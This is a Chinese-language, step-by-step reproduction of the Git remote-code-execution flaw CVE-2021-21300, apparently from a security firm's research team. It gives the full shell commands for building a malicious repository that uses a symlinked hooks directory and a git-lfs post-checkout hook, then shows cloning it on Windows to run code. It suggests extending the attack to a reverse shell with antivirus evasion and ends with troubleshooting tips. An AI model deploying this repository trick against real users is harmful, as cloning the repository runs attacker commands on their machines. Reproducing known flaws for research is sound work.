git多个版本中,对符号链接处理不严格。在大小写敏感(例如Linux)的文件系统上传文件到git后,使用大小写不敏感文件系统(例如Windows)的主机克隆恶意仓库时可能导致远程命令执行。
本文由锦行科技的安全研究团队提供,从攻击者的角度还原了Git-RCE的渗透过程。
触发条件:
01复现
01 环境准备
仓库准备:
系统:ubuntux64
需安装 git、git-lfs
执行 git lfs install
命令可能会报错
Error: Failed to call git rev-parse --git-dir: exit status 128
可以忽略
出现Git LFS initialized.
即完成安装
受害机:
系统:win10x64
git for window:Git-2.17.1-64-bit
(084K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2F1M7r3q4U0K9$3c8Q4x3X3g2G2M7X3N6Q4x3V1k6H3i4K6u0r3k6$3W2@1y4U0c8Q4x3V1j5J5i4K6u0W2x3e0N6Q4x3X3f1I4i4K6u0W2x3R3`.`.)
git for window 的安装全为默认即可
02 恶意仓库准备
在github新建仓库:
网上相应教程很多,不赘述
在ubuntu构建恶意仓库并上传到github:
执行命令如下
$ git init delayed-checkout
$ cd delayed-checkout &&
echo "A/post-checkout filter=lfs diff=lfs merge=lfs">.gitattributes &&
mkdir A &&
printf '#!/bin/sh\n\necho PWNED >&2\n'>A/post-checkout &&
chmod +x A/post-checkout &&
>A/a &&
>A/b &&
git add -A &&
rm -rf A &&
ln -s .git/hooks a &&
git add a &&
git commit -m initial
$ git branch -M main
$ git remote add origin [自己的仓库地址]
$ git push -u origin main
查看github仓库,校验各文件内容是否正确,需如下显示:



03 攻击测试
在win10提供的powershell(管理员)中执行命令如下:
> git clone -c core.symlinks=true [自己的仓库地址]
clone后出现 PWNED 即为远程命令执行成功

可见,在clone时,执行了post-checkout文件中的命令。
思路是使用IEX下载脚本,然后通过kali监听获取shell,但大多数脚本都会被识别阻止,通过免杀绕过应该能够实现。

04 扩展利用
在目录中添加脚本文件hack.sh

内容如下
#!/bin/sh
#################
echo "script working..." &&
cd / &&
pwd &&
mkdir hack
cd hack &&
touch hacked &&
echo "you has been hacked">hacked &&
echo "done!"
修改post-checkout中执行的命令以执行脚本
printf '#!/bin/sh\n\necho PWNED\n\n./hack.sh >&2\n'>A/post-checkout
受害机演示:
在受害机中拉取恶意仓库,可见脚本执行成功

02 复现中遇到的问题
以下列举在git中可能会存在的各种玄学错误:
01git的链接错误
如下错误
Failed to connect to github.com port 443: Connection refused
destination path 'CVE-2021-21300' already exists and is not an empty directory
解决方法:
可以使用代理或者更换代理节点
稍等一段时间后重试
02already exists and is not an empty directory
如下错误:
fatal: destination path 'CVE-2021-21300' already exists and is not an empty directory.
解决方法:
重新clone需要删除原有文件
03 warning:Clone succeeded, but checkout failed
如下错误:
error: unable to create file A/post-checkout: No such file or directory
fatal: unable to checkout working tree
warning: Clone succeeded, but checkout failed.
You can inspect what was checked out with 'git status'
and retry the checkout with 'git checkout -f HEAD'
解决方法:
clone时需要添加参数 -c core.symlinks=true
开启git对符号链接的支持
04 Encountered 1 file(s) that should have been pointers, but weren't : A/post-checkout
解决方法:
在构造恶意仓库时发生错误,重新检查各需要检查的文件内容是否正确,软链接是否正确
05 Error when cloning a repo - Smudge error, error: external filter 'git-lfs filter-process' failed, smudge filter lfs failed
解决方法:
检查恶意仓库中的lfs文件是否正确存储到Git Lfs上
References
5efK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2G2M7r3g2F1N6$3q4D9L8q4)9J5k6h3y4G2L8g2)9J5c8X3I4A6M7%4c8K6i4K6u0r3L8%4y4K6i4K6u0V1M7$3g2U0N6i4u0A6N6s2W2Q4x3V1j5J5x3o6t1I4i4K6u0r3x3o6y4Q4x3V1j5H3z5g2)9J5c8U0x3`.
771K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6y4j5i4y4C8K9r3g2Q4x3V1k6o6g2V1g2Q4x3X3b7J5x3o6t1I4i4K6u0V1x3U0p5K6x3o6l9`.